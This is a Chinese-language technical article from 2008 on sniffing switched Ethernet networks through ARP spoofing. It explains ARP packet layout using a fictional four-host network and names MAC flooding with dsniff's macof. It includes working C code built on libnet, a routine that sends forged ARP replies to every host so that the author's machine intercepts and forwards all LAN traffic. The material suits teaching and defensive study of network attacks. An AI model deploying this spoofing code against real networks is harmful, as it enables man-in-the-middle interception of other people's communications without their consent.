分类:
2008-07-14 14:32:19
传统的嗅探器在共享型以太网中可以捕获到所有数据包,但在交换型以太网中却无法工作。本文介绍利用 ARP 欺骗模式,改变其它主机 arp 高速缓存中的记录,使所有数据包都到达本机且由本机转发,从而达到捕获数据包的效果。
以太网环境下的嗅探本身是比较简单的,只要网卡能设置成混杂模式且有数据包到达网卡,则可用多种方法捕获数据包并进行各种协议分析。在LINUX下可用RAW套接字,SOCK_PACKET套接字, LIBPCAP函数包等方法捕获数据包,典型的应用程序如TCPDUMP, LINUX_SNIFFER等。
在共享型以太网中,上述两个条件显然是满足的。所有的主机都连接到HUB,而HUB对数据包传输形式是广播。这意味着发给某个主机的数据包也会被其它所有主机的网卡所收到。因此在这样的环境中,任何设置成混杂模式的主机,都可以捕获发送给其它主机的数据包,从而窃听网络上的所有通信。
在交换型以太网中,上述条件2是不满足的。所有的主机连接到SWITCH,SWITCH比HUB更聪明,它知道每台计算机的MAC地址信息和与之相连的特定端口,发给某个主机的数据包会被SWITCH从特定的端口送出,而不是象HUB那样,广播给网络上所有的机器。这种传输形式使交换型以太网的性能大大提高,同时还有一个附加的作用:使传统的嗅探器无法工作。
综上所述,交换型网络环境嗅探的核心问题是:如何使本不应到达的数据包到达本地。通常的方法有MAC洪水包和ARP欺骗。其中MAC洪水包是向交换机发送大量含有虚构MAC地址和IP地址的IP包,使交换机无法处理如此多的信息,致使交换机就进入了所谓的"打开失效"模式,也就是开始了类似于集线器的工作方式,向网络上所有的机器广播数据包。(具体实现请参阅Dsniff中的macof)本文中,我们将要详细分析ARP欺骗模式。
|
目的MAC地址 | 源MAC地址 | 类型 | 数据 |
6 | 6 | 2 | 46~1500 |
目的端 MAC 地址 | 源 M A C 地址 | 0 8 0 6 | 硬件类型 | 协议类型 | 硬件地址长度 | 协议地址长度 | A R P 包类型 | 发送端 M A C 地址 | 发送端 I P 地址 | 目的端 M A C 地址 | 目的端 I P 地址 |
6 | 6 | 2 | 2 | 2 | 1 | 1 | 2 | 6 | 4 | 6 | 4 |
<------以太网首部--------> | <------26字节ARP请求/应答--------> |
目的端MAC地址 | 源MAC地址 | ARP包类型 | 发送端MAC地址 | 发送端IP地址 | 目的端MAC地址 | 目的端IP地址 |
|
为了更清楚的描述交换网络的嗅探原理,我们建立一个虚构的交换网络环境, 在下面的论述中将用到这些数据.
主机编号 | IP地址 | MAC地址 | 备注 |
A | 1.1.1.1 | 01:01:01 | |
B | 2.2.2.2 | 02:02:02 | |
C | 3.3.3.3 | 03:03:03 | |
D | 4.4.4.4 | 04:04:04 | (我)运行嗅探器 |
|
在以太网中传输的数据包是以太包,而以太包的寻址是依据其首部的物理地址(MAC地址)。仅仅知道某主机的逻辑地址(IP地址)并不能让内核发送一帧数据给此主机,内核必须知道目的主机的物理地址才能发送数据。ARP协议的作用就是在于把逻辑地址变换成物理地址,也既是把32bit的IP地址变换成48bit的以太地址。
每一个主机都有一个ARP高速缓存,此缓存中记录了最近一段时间内其它IP地址与其MAC地址的对应关系。如果本机想与某台主机通信,则首先在ARP高速缓存中查找此台主机的IP和MAC信息,如果存在,则直接利用此MAC地址构造以太包;如果不存在,则向本网络上每一个主机广播一个ARP请求包,其意义是"如果你有此IP地址,请告诉我你的MAC地址",目的主机收到此请求包后,发送一个ARP响应包,本机收到此响应包后,把相关信息记录在ARP高速缓存中,以下的步骤同上。
可以看出,ARP协议是有缺点的,第三方主机可以构造一个ARP欺骗包,而源主机却无法分辨真假。
|
假设B(2.2.2.2)要与A(1.1.1.1)通信,且B的ARP高速缓存中没有关于A的MAC信息,则B发出ARP请求包。
FF:FF:FF | 02:02:02 | 请求 | 02:02:02 | 2.2.2.2 | FF:FF:FF | 1.1.1.1 |
广播 | B的MAC | B的MAC | B的IP | 目的地址 | A的IP |
正常情况下A向B发出ARP应答包:
02:02:02 | 01:01:01 | 应答 | 01:01:01 | 1.1.1.1 | 02:02:02 | 2.2.2.2 |
B的MAC | A的MAC | A的MAC | A的IP | B的MAC | B的IP |
我捕获到B的ARP请求包后,构造ARP欺骗包(欺骗B对A的连接)
02:02:02 | 04:04:04 | 应答 | 04:04:04 | 1.1.1.1 | 02:02:02 | 2.2.2.2 |
B的MAC | 我的MAC | 我的MAC | A的IP | B的MAC | B的IP |
此时,B的ARP高速缓存中关于A的记录为(1.1.1.1 <-- --> 04:04:04),则B向A发IP包实际上是发到我的主机(4.4.4.4,04:04:04)。同理,如果我进一步欺骗A,让A的ARP高速缓存中关于B的记录为(2.2.2.2 <-- --> 04:04:04), 则A向B发IP包实际上也是发到我的主机(4.4.4.4,04:04:04)。最后,我让本机打开数据包转发,也既是充当路由器,则A,B之间能正常通信,但我能全部捕获到相关数据。
以上讨论的是欺骗两台主机,如果我能让局域网中每一台主机的ARP高速缓存中关于其它任意一个主机所对应的MAC地址都为我的MAC地址(04:04:04:04),则本局域网中所有数据包我都能捕获到!
|
typedef struct host HOST; struct host { unsigned long ip; // IP地址 unsigned char mac[6]; // MAC地址 int mac_flag; // 0:MAC为空,1:MAC不为空 HOST * next; }; |
函数add_host( )逻辑设计MYIP = IP(d),MYMAC = MAC(d)
代码如下:
void add_host(u_long ip, u_char * mac) { HOST * new = NULL; HOST * cur = NULL; if( (ip == MYIP) || (mac && mac_equal(mac, MYMAC)) ) return; //遍历链表查询IP地址 for(cur = head; cur; cur = cur->next) { if( ip == cur->ip ) { if( mac ) // MAC地址不空,则写入 { memcpy(cur->mac, mac, ETHER_ADDR_LEN); cur->mac_flag = 1; } return; } } if(cur == NULL) // 链表中没有此IP地址 { new = (HOST *)malloc(sizeof(HOST)); new->ip = ip; if( mac ) { memcpy(new->mac, mac, ETHER_ADDR_LEN); new->mac_flag = 1; } else new->mac_flag = 0; new->next = NULL; if(! head) // 把新节点加入链表 { head = new; tail = new; } else { tail->next = new; tail = new; } } return; } |
void send_fake_arp_packet() { HOST * temp, * cur; u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; for(cur = head; cur ; cur = cur->next) { if( cur->mac_flag == 0) { // 构造ARP请求包请求此IP地址的MAC地址 libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, packet); libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST, MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, (packet + LIBNET_ETH_H)); if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0) errexit("libnet_write_link_layer error\n"); continue; } for(temp = head; temp; temp = temp->next) { if (temp == cur) continue; libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, packet); libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY, MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, (packet + LIBNET_ETH_H)); if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0) errexit("libnet_write_link_layer error\n"); } } } |
|
本文的样码 在此下载。
dsniff:
angst:
《交换网络嗅探》:作者:Sumit Dhar < >
翻译:coolfrog < >
《TCP/IP详解 卷一》:作者 W.Richard Stevens
施聪,成都人,程序员。长期从事基于UNIX/LINUX下的c/c++程序设计。近期学习和研究的方向为J2EE,设计模式,软件工程。可通过 或 和他联系。 |